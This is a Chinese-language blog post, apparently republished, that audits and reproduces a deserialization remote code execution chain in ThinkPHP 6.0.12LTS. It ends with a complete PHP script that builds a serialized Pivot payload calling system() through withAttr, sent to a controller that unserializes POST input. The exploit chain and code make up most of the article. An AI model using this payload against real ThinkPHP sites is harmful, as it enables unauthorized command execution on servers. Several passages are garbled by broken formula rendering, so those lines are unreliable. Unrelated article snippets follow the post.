代码审计: ThinkPHP V6.0.12LTS反序列化漏洞复现

这里写目录标题

  • 一、前缀知识
      • 事件回调:
  • 二、代码审计查找反序列化路由
  • 三、利用链分析
  • 构造exp

一、前缀知识

事件回调:

概念:在某个特定事件发生时,系统会调用预先定义好的函数(即回调函数)来处理该事件。回调函数通常作为参数传递给触发事件的函数或者注册到事件处理器中。

工作流程:

  1. 注册回调函数:在需要监听特定事件的地方,开发者将一个函数注册为事件的回调函数。这通常是通过将或作为参数或来实现的。

  2. 触发事件:当某个事件发生时(比如按钮被点击、数据加载完成等),相应的代码或系统将触发该事件。

  3. 调用回调函数:一旦事件被触发,系统将调用事先注册的回调函数,并传递给回调函数。

    将事件的相关数据作为参数

  4. 执行回调函数:回调函数将被执行,它会处理接收到的事件数据,并执行相应的逻辑、操作或者回馈。

简单来说就是你在开发中给某个任务设置的闹钟或提醒。当任务要进行某个重要步骤前,你提前安排好一段代码(回调函数)在这个时刻被执行,这样就能在合适的时候自动执行你安排的特定操作。

更多事件回调机制参考:https://blog.csdn.net/weixin_49167174/article/details/132521365

二、代码审计查找反序列化路由

在app/controller/index.php中找到/index/test路由中存在一个反序列化函数,并且,变量参数可控制

<?php
namespace app\controller;use app\BaseController;class Index extends BaseController
{public function index(){return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';}public function hello($name = 'ThinkPHP6'){return 'hello,' . $name;}public function test(){unserialize($_POST['a']);}}

三、利用链分析

首先在对象反序列化时自动调用。我们需要寻找切入点,在反序列化中我们重点关注__wakeup()和__destruct()析构函数。

//在对象反序列化时自动调用。
__wakeup()://在对象被销毁时自动调用。
__destruct()

然后利用seay等代码审计工具全局搜索这两个方法。然后审计代码寻找可以利用的点

SafeStorage.php

<?phpnamespace League\Flysystem;final class SafeStorage
{/*** @var string*/private $hash;/*** @var array*/protected static $safeStorage = [];public function __construct(){$this->hash = spl_object_hash($this);static::$safeStorage[$this->hash] = [];}public function storeSafely($key, $value){static::$safeStorage[$this->hash][$key] = $value;}public function retrieveSafely($key){if (array_key_exists($key, static::$safeStorage[$this->hash])) {return static::$safeStorage[$this->hash][$key];}}public function __destruct(){unset(static::$safeStorage[$this->hash]);}
}

此函数用于安全存储,没有可以利用的点

AbstractFtpAdaper.php

 public function __destruct(){$this->disconnect();}/*** Establish a connection.*/abstract public function connect();/*** Close the connection.*/abstract public function disconnect();/*** Check if a connection is active.** @return bool*/abstract public function isConnected();protected function escapePath($path){return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path);}

跟进disconnect函数

Ftp.php

    /*** Disconnect from the FTP server.*/public function disconnect(){if ($this->hasFtpConnection()) {@ftp_close($this->connection);}$this->connection = null;}

用于连接断开时销毁,这里也没有存在可以利用的,我们继续查看下一段

AbstractCache.php

<?phpnamespace League\Flysystem\Cached\Storage;use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Util;abstract class AbstractCache implements CacheInterface
{/*** @var bool*/protected $autosave = true;/*** @var array*/protected $cache = [];/*** @var array*/protected $complete = [];/*** Destructor.*/public function __destruct(){if (! $this->autosave) {$this->save();}}

这里默认autosave参数为true,但是我们可以构造autosave为false,执行__destruct()函数,我们查看save()方法的作用,AbstractCache.php实现了CacheInterface.php接口模板,但是没有具体定义实际代码,不存在利用

继续分析下一段代码

Model.php

    /*** 析构方法* @access public*/public function __destruct(){if ($this->lazySave) {$this->save();}}

默认 l a z y S a v e = = f a l s e ; ,想要执行 s a v e ( ) 需要将 lazySave == false;,想要执行save()需要将 lazySave==false;,想要执行save()需要将lazySave = true;

追踪实现的save()函数

    /*** 保存当前数据对象* @access public* @param array  $data     数据* @param string $sequence 自增序列名* @return bool*/public function save(array $data = [], string $sequence = null): bool{// 数据对象赋值$this->setAttrs($data);if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {return false;}$result = $this->exists ? $this->updateData() : $this->insertData($sequence);if (false === $result) {return false;}// 写入回调$this->trigger('AfterWrite');// 重新记录原始数据$this->origin   = $this->data;$this->get      = [];$this->lazySave = false;return true;}

关注 if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’))。需要执行后续代码不能直接return我们需要先绕过第一个if判断

追踪isEmpty()函数

    public function isEmpty(): bool{return empty($this->data);}

条件1:需要满足

$this->isEmpty()==false

$this->data != null;

追踪trigger()函数

    protected function trigger(string $event): bool{if (!$this->withEvent) {return true;}$call = 'on' . Str::studly($event);try {if (method_exists(static::class, $call)) {$result = call_user_func([static::class, $call], $this);} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);$result = empty($result) ? true : end($result);} else {$result = true;}return false === $result ? false : true;} catch (ModelEventException $e) {return false;}}

参数$withEvent默认为true;

protected $withEvent = true;

条件2:需要满足

$this->trigger('BeforeWrite')==true

$this->withEvent==false;

然后继续回过头来分析这个条件语句

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

ModelEvent.php中$exists默认为false。

我们先查看

$this->updateData()

    protected function updateData(): bool{// 事件回调if (false === $this->trigger('BeforeUpdate')) {return false;}$this->checkData();// 获取有更新的数据$data = $this->getChangedData();if (empty($data)) {// 关联更新if (!empty($this->relationWrite)) {$this->autoRelationUpdate();}return true;}if ($this->autoWriteTimestamp && $this->updateTime) {// 自动写入更新时间$data[$this->updateTime]       = $this->autoWriteTimestamp();$this->data[$this->updateTime] = $data[$this->updateTime];}// 检查允许字段$allowFields = $this->checkAllowFields();foreach ($this->relationWrite as $name => $val) {if (!is_array($val)) {continue;}foreach ($val as $key) {if (isset($data[$key])) {unset($data[$key]);}}}

如果需要直接后续代码就需要先绕过前面两个判断条件

$this->trigger('BeforeUpdate')==true
$data!=null

第一个判断条件:

        if (false === $this->trigger('BeforeUpdate')) {return false;}
    protected function trigger(string $event): bool{if (!$this->withEvent) {return true;}$call = 'on' . Str::studly($event);try {if (method_exists(static::class, $call)) {$result = call_user_func([static::class, $call], $this);} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);$result = empty($result) ? true : end($result);} else {$result = true;}return false === $result ? false : true;} catch (ModelEventException $e) {return false;}}

在上面的条件中,已经满足trigger函数为true,所以我们只需要关注第二个判断条件

第二个判断条件:

        if (empty($data)) {// 关联更新if (!empty($this->relationWrite)) {$this->autoRelationUpdate();}return true;}

寻找$data数据的来源

$data = $this->getChangedData();

分析getChangedData()函数的实现

在vendor/topthink/think-orm/src/model/concert/Attribute.php中只需要$data不为null就可以了

    public function getChangedData(): array{$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {if ((empty($a) || empty($b)) && $a !== $b) {return 1;}return is_object($a) || $a != $b ? 1 : 0;});// 只读字段不允许更新foreach ($this->readonly as $key => $field) {if (array_key_exists($field, $data)) {unset($data[$field]);}}return $data;}

先分析判断语句

 $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {if ((empty($a) || empty($b)) && $a !== $b) {return 1;}return is_object($a) || $a != $b ? 1 : 0;});

$force没有定义,默认执行


array_udiff_assoc($this->data, $this->origin, function ($a, $b) {if ((empty($a) || empty($b)) && $a !== $b) {return 1;}return is_object($a) || $a != $b ? 1 : 0;})array_udiff_assoc函数用于比较数组的不同
$this->force == null;
private $data = []
private $origin = []

因为
$data == o r i g i n 所以 i f ( ( e m p t y ( origin 所以 if ((empty( origin所以if((empty(a) || empty($b)) && $a !== b ) 中的 b) 中的 b)中的a !== $b不满足条件
执行

return is_object($a) || $a != $b ? 1 : 0;

最后$data = 0;满足之前updateData()函数中的第二个判断条件

$data!=null

回到updateData()中进入到checkAllowFields()函数

    /*** 检查数据是否允许写入* @access protected* @return array*/protected function checkAllowFields(): array{// 检测字段if (empty($this->field)) {if (!empty($this->schema)) {$this->field = array_keys(array_merge($this->schema, $this->jsonType));} else {$query = $this->db();$table = $this->table ? $this->table . $this->suffix : $query->getTable();$this->field = $query->getConnection()->getTableFields($table);}return $this->field;}$field = $this->field;if ($this->autoWriteTimestamp) {array_push($field, $this->createTime, $this->updateTime);}if (!empty($this->disuse)) {// 废弃字段$field = array_diff($field, $this->disuse);}return $field;}

我们继续跟进db()可以注意到存在一个字符串拼接操作$this->table . $this->suffix,通过字符串拼接可以进入到__toString()方法中。需要满足


默认
$this->field==null
$this->schema==null

我们先将这个函数放置一边,我们需要先全局搜索__toString()方法,然后在子目录下的Conversion.php中找到一个__toString()方法

  public function __toString(){return $this->toJson();}

函数追踪

  public function toJson(int $options = JSON_UNESCAPED_UNICODE): string{return json_encode($this->toArray(), $options);}

进入toArray()

public function toArray(): array{$item       = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {[$relation, $name]          = explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible          = true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {[$relation, $name]         = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);//遍历data数组中的元素foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);if (isset($this->mapping[$key])) {// 检查字段映射$mapName        = $this->mapping[$key];$item[$mapName] = $item[$key];unset($item[$key]);}}

第34行遍历data数组中的第一个if中没什么可利用的,如果遍历的对象为Model或者ModelCollection类中的实例的话,就进入到第一个if。我们继续查看下一个elseif中的内容

elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);

追踪到getAttr()函数中(这里的 k e y 为 key为 keydata数组的遍历的键名)

    /*** 获取器 获取数据对象的值* @access public* @param  string $name 名称* @return mixed* @throws InvalidArgumentException*/public function getAttr(string $name){try {$relation = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$relation = $this->isRelationAttr($name);$value    = null;}return $this->getValue($name, $value, $relation);}

先进入到getData()

    /*** 获取当前对象数据 如果不存在指定字段返回false* @access public* @param  string $name 字段名 留空获取全部* @return mixed* @throws InvalidArgumentException*/public function getData(string $name = null){if (is_null($name)) {return $this->data;}$fieldName = $this->getRealFieldName($name);if (array_key_exists($fieldName, $this->data)) {return $this->data[$fieldName];} elseif (array_key_exists($fieldName, $this->relation)) {return $this->relation[$fieldName];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

我们可以注意到这一行

 if (array_key_exists($fieldName, $this->data)) {return $this->data[$fieldName];

这里的返回数据是根据data[]数组的值决定的,data[]数组是我们可以控制的,在这之前

我们需要先进入到getRealFieldName($name)中

    /*** 获取实际的字段名* @access protected* @param  string $name 字段名* @return string*/protected function getRealFieldName(string $name): string{if ($this->convertNameToCamel || !$this->strict) {return Str::snake($name);}return $name;}

代码的作用是将传进来的字符串格式进行转换

默认
convertNameToCamel == null
stric = true

所以直接返回$name

回到getData()

所以下面这段代码的作用是返回$data数组中的传入的键名的值

if (array_key_exists($fieldName, $this->data)) {return $this->data[$fieldName];

再返回上一级getAttr()函数

return $this->getValue($name, $value, $relation)相当于return $this->getValue($name,$this->data[$key], $relation)

追踪到getValue()函数

/*** 获取经过获取器处理后的数据对象的值* @access protected* @param  string      $name 字段名称* @param  mixed       $value 字段值* @param  bool|string $relation 是否为关联属性或者关联名* @return mixed* @throws InvalidArgumentException*/
protected function getValue(string $name, $value, $relation = false)
{// 检测属性获取器$fieldName = $this->getRealFieldName($name);if (array_key_exists($fieldName, $this->get)) {return $this->get[$fieldName];}$method = 'get' . Str::studly($name) . 'Attr';if (isset($this->withAttr[$fieldName])) {if ($relation) {$value = $this->getRelationValue($relation);}if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {$value = $this->getJsonValue($fieldName, $value);} else {$closure = $this->withAttr[$fieldName];if ($closure instanceof \Closure) {$value = $closure($value, $this->data);}}} elseif (method_exists($this, $method)) {if ($relation) {$value = $this->getRelationValue($relation);}$value = $this->$method($value, $this->data);} elseif (isset($this->type[$fieldName])) {// 类型转换$value = $this->readTransform($value, $this->type[$fieldName]);} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {$value = $this->getTimestampValue($value);} elseif ($relation) {$value = $this->getRelationValue($relation);// 保存关联对象值$this->relation[$name] = $value;}$this->get[$fieldName] = $value;return $value;
}

在这里绕过if判断条件需要构造 f i e l d N a m e 存在于 fieldName 存在于 fieldName存在于this→json中,并且$this→withAttr要为数组

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {$value = $this->getJsonValue($fieldName, $value);

其中因为getRealFieldName($name) 中的 t h i s − > s t r i c t = = t r u e 。所以 this->strict==true。所以 this>strict==true。所以filename == n a m e ; name; name;value为之前的 t h i s → d a t a [ this→data[ thisdata[key]

然后我们进入到getJsonValue()函数

/*** 获取JSON字段属性值* @access protected* @param  string $name  属性名* @param  mixed  $value JSON数据* @return mixed*/
protected function getJsonValue($name, $value)
{if (is_null($value)) {return $value;}foreach ($this->withAttr[$name] as $key => $closure) {if ($this->jsonAssoc) {$value[$key] = $closure($value[$key], $value);} else {$value->$key = $closure($value->$key, $value);}}return $value;
}

到这里我们发现有一个可以自定义函数

foreach ($this->withAttr[$name] as $key => $closure) {if ($this->jsonAssoc) {$value[$key] = $closure($value[$key], $value);} else {$value->$key = $closure($value->$key, $value);}
}

我们可以自定义$withAttr数组

遍历数组的值并将它赋值给$closure

foreach ($this->withAttr[$name] as $key => $closure)

c l o s u r e 是一个函数,我们可以将键值设置为危险函数,比如 s y s t e m 。键名应该与 closure是一个函数,我们可以将键值设置为危险函数,比如system。键名应该与 closure是一个函数,我们可以将键值设置为危险函数,比如system。键名应该与name相等。

v a l u e 为 value为 valuedata数组的键值,在这里为函数的参数,到了这里我们整个反序列化链就结束了,可以执行rce命令

构造exp

我们先梳理__toString()的参数传递过程

Conversion::__toString()
Conversion::toJson()
Conversion::toArray()
Attribute::getAttr()
Attribute::getData()
Attribute::getValue()
Attribute::getJsonValue()

首次出现可控参数的点在Conversion::toArray()中控制$data数据

$this->data=['whoami'=>['ls']];

然后进入到Attribute::getAttr()函数中,Attribute::getData()中的Attribute::getRealFieldName( n a m e ) 中的 name)中的 name)中的strict默认为true,Attribute::convertNameToCamel默认为null所以getData($name) == $name;也就是等于’whoami’

然后Attribute::getValue()中对withAttr和json进行了验证

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {$value = $this->getJsonValue($fieldName, $value);} 

要求’whoami’存在于json中,所以 t h i s − > j s o n = [ ′ w h o a m i ′ ] 。同时需要 w i t h A t t r 是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和’ w h o a m i 相等’,所以 this->json=['whoami']。同时需要withAttr是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和’whoami相等’,所以 this>json=[whoami]。同时需要withAttr是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和whoami相等,所以this->withAttr[‘whoami’=>[‘system’]]

接下来我们梳理__destruct()函数的触发过程

Model::__destruct()
Model::updateData()
Model::checkAllowFields()
Model::db()

我们找到第一个可控参数在Model::__destruct()中需要

$this->lazySave=true;

然后需要绕过

if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))

绕过isEmpty(), d a t a 数据不为空, data数据不为空, data数据不为空,this->trigger(‘BeforeWrite’)默认为true。

然后在下面的判断语句$result = $this->exists ? $this->updateData() : t h i s − > i n s e r t D a t a ( this->insertData( this>insertData(sequence);这里我们需要进入updateData(),但是 t h i s − > e x i s t s 默认为 f a l s e ,我们需要更改 this->exists默认为false,我们需要更改 this>exists默认为false,我们需要更改this->exists为true

$this->exists=true

最后进入Model::db(),执行查询语句,$this_table触发__toString()

首先Model类是一个抽象类,不能实例化,所以要想利用,得找出 Model 类的一个子类进行实例化,而且use了刚才__toString 利用过程中使用的接口ConversionAttribute,所以关键字可以直接用

最后全局搜索Model的子类,找到了一个Pivot子类,开始构造exp

<?php// 保证命名空间的一致
namespace think {// Model需要是抽象类abstract class Model {// 需要用到的关键字private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;// 初始化public function __construct($obj='') {$this->lazySave = true;$this->data = ['whoami'=>['ls']];$this->exists = true;$this->table = $obj;    // 用对象进行字符串拼接操作触发__toString$this->withAttr = ['whoami'=>['system']];$this->json = ['whoami'];$this->jsonAssoc = true;}}
}namespace think\model {use think\Model;class Pivot extends Model {}// 实例化$p = new Pivot(new Pivot());echo urlencode(serialize($p));
}

最后

在撰写这篇文章的过程中,我尽力确保内容的准确和全面,但难免会有疏漏的地方。如果您发现任何错误或有任何改进建议,请不要犹豫,随时告诉我。我非常乐意接受您的宝贵建议,并会及时进行修改。

再次感谢您的阅读和支持,希望这篇文章对您有所帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/51262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++11新特性——智能指针——参考bibi《 原子之音》的视频以及ChatGpt

智能指针 一、内存泄露1.1 内存泄露常见原因1.2 如何避免内存泄露 二、实例Demo2.1 文件结构2.2 Dog.h2.3 Dog.cpp2.3 mian.cpp 三、独占式智能指针:unique _ptr3.1 创建方式3.1.1 ⭐从原始(裸)指针转换&#xff1a;3.1.2 ⭐⭐使用 new 关键字直接创建&#xff1a;3.1.3 ⭐⭐⭐…

Python信号量Semaphore

Python信号量Semaphore 在Python中,Semaphore(信号量)是一种同步原语,用于控制对共享资源的访问。它主要用于限制同时访问某个资源或资源池的线程或进程的数量,类似于操作系统中的信号量概念。 使用 Semaphore 的基本方法 导入 Semaphore: from threading import Semap…

nginx代理服务配置,基于http协议-Linux(CentOS)

基于http协议的nginx代理服务 1. 打开 Nginx 虚拟机80端口配置文件2. 添加代理配置3. 重启nginx服务 nginx代理缓存配置 1. 打开 Nginx 虚拟机80端口配置文件 Nginx 的默认80端口虚拟机配置文件通常位于/etc/nginx/conf.d/default.conf。 vim /etc/nginx/conf.d/default.con…

Idea中连接MS SQL Server报错:驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接

一、错误重现 报错如下&#xff1a; [08S01] 驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to request…

leetcode日记(59)简化路径

&#xff08;小杯文字描述…看了好一会才看懂题目要求&#xff09;题目是标准化路径&#xff0c;就是将多个‘/’优化为一个、将最后一个‘/’去掉、将‘/../’和‘/./’去掉&#xff0c;将原路径转化为实际想表达的最终路径。 有点像单纸带图灵机&#xff0c;需要依次遍历字母…

Windows系统安全加固方案:快速上手系统加固指南 (下)

这里写目录标题 一、概述二、IP协议安全配置启用SYN攻击保护 三、文件权限3.1 关闭默认共享3.2 查看共享文件夹权限3.3 删除默认共享 四、服务安全4.1禁用TCP/IP 上的NetBIOS4.2 ### 禁用不必要的服务 五、安全选项5.1启动安全选项5.2禁用未登录前关机 六、其他安全配置**6.1防…

《JavaEE》----2.<多线程的简介创建Thread类>

前言&#xff1a; 大家好&#xff0c;我目前在学习java。我准备利用这个暑假&#xff0c;来复习之前学过的内容&#xff0c;并整理好之前写过的博客进行发布。如果博客中有错误或者没有读懂的地方。热烈欢迎大家在评论区进行讨论&#xff01;&#xff01;&#xff01; 喜欢我文…

【深度学习】“复杂场景下基于深度学习的卷积神经网络在鸟类多类别识别中的模型设计与性能优化研究“(中)

【深度学习】“复杂场景下基于深度学习的卷积神经网络在鸟类多类别识别中的模型设计与性能优化研究”(中) 大家好 我是寸铁&#x1f44a; 【深度学习】“复杂场景下基于深度学习的卷积神经网络在鸟类多类别识别中的模型设计与性能优化研究”(中)✨ 喜欢的小伙伴可以点点关注 &a…

Qt 实战(3)数据类型 | 3.3、QString

文章目录 一、QString1、创建和初始化 QString2、字符串拼接3、字符串的查找和替换4、字符串的分割5、字符串的转换6、字符串的格式化7、国际化支持 前言&#xff1a; QString 是 Qt 框架中用于处理 Unicode 字符串的一个非常强大且灵活的类。它提供了丰富的功能来操作文本数据…

一个网站搞定Adobe系列软件下载安装,良心网站!

Adobe系列软件几乎是每个办公职场人都会用到的软件&#xff0c;比如PDF&#xff0c;PS&#xff0c;AI&#xff0c;PE&#xff0c;PR等&#xff0c;不管你是设计图片&#xff0c;制作编辑音频还是视频&#xff0c;Adobe都有对应的软件。但是对于大部分用户来说&#xff0c;Adobe…

小A点菜

题目描述 小A口袋里只剩 M 元 (M≤10000)&#xff0c;来到一家餐馆点菜吃饭。 餐馆有 N(N≤100) 种菜品&#xff0c;但每种菜只有一份&#xff0c;其中第 i 种售价 ai​ 元 (ai​≤1000) 。 小A奉行 “不把钱花光就不罢休” 的原则&#xff0c;所以他点的菜一定刚好把身上的…

Linux网络:传输层TCP协议(四)拥塞控制及延迟应答

目录 一、拥塞控制 二、延迟应答 一、拥塞控制 虽然 TCP 拥有滑动窗口这个大杀器机制来根据具体情况对发送的数据大小和速度进行实时控制, 能够高效并且可靠的发送大量的数据. 但是如果在双方建立好连接后的刚开始阶段就发送大量的数据。仍然可能引发一些问题. 因为同一个网…

Ubuntu转竖屏,文件解锁和查看mac地址命令记录

又到了摸索ubuntu的时间&#xff0c;记录几个命令. &#xff08;1&#xff09;横屏与竖屏模式互转 1)横屏转竖屏 xrandr -o left xrandr -o right 2)竖屏转回来为横屏 xrandr -o normal (2)文件/文件夹加上了小锁需解锁 1)文件加锁需解锁 sudo chmod 777 yourfilename 2)文件夹…

聊聊sysinfo结构体

sysinfo的定义 sysinfo 结构体的完整定义如下。这个定义包含了一些特定的类型&#xff0c;如 __kernel_long_t 和 __kernel_ulong_t&#xff0c;这些类型是为了在不同架构上提供一致的数据大小而定义的。以下是对这个结构体中每个成员的详细解释&#xff1a; struct sysinfo …

SpringBoot 通过集成 Flink CDC 来实时追踪 MySql 数据变动

简简单单 Online zuozuo:欢迎商业合作 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo :联系我们:VX :tja6288 / EMAIL: 347969164@qq.com 文章目录 SpringBoot 通过集成 …

Ubuntu开机自启配置(基于service:以ROS和docker为例)

Ubuntu开机自启配置(以ROS和docker为例) 前言1. service介绍1.1 service命令的基本用法1.2. service命令的常用操作1.3. service命令与systemd的兼容性2. Example之开机启动ROS2.1 创建服务单元文件2.1.1 新建`.service`文件2.1.2 编写`.service`文件2.2 重新加载systemd配置…

怎么给PDF文件加密码?关于PDF文件加密的四种方法推荐

怎么给PDF文件加密码&#xff1f;给PDF文件加上密码是保护文件安全的一种重要方法&#xff0c;特别是当需要在不受授权的访问下保护敏感信息时。这个过程不仅仅是简单地设置密码&#xff0c;而是涉及到对文档内容和访问控制的深思熟虑。加密PDF文件可以有效防止未经授权的用户查…

杂谈(杂鱼谈论c语言)——2.大小端字节序

⼤⼩端字节序和字节序判断 当我们了解了整数在内存中存储后&#xff0c;我们调试看⼀个细节&#xff1a; #include <stdio.h> int main() {int a 0x11223344;return 0; } 调试的时候&#xff0c;我们可以看到在a中的 0x11223344 这个数字是按照字节为单位&#xff0c;…

creality ender2的3D打印经验教训

创想云-3D打印模型库-一体化3D打印平台 1.开机后要放一张白纸进行检查&#xff0c;看看打印头立平台的距离&#xff0c;如果太近&#xff0c;会灼烧平台&#xff0c;会造成下面的结果&#xff1a; 2.下载模型&#xff0c;可以在线切片&#xff0c;要看看是否要支撑 没有支撑可…

构建云原生Java应用

引言 云原生技术正在改变软件开发和部署的方式。云原生应用利用了云计算的优势&#xff0c;如弹性、可扩展性和高可用性。对于Java开发者来说&#xff0c;构建云原生应用意味着需要采用微服务架构、服务网格、持续部署等技术。本文将探讨如何设计和实现云原生Java应用。 云原…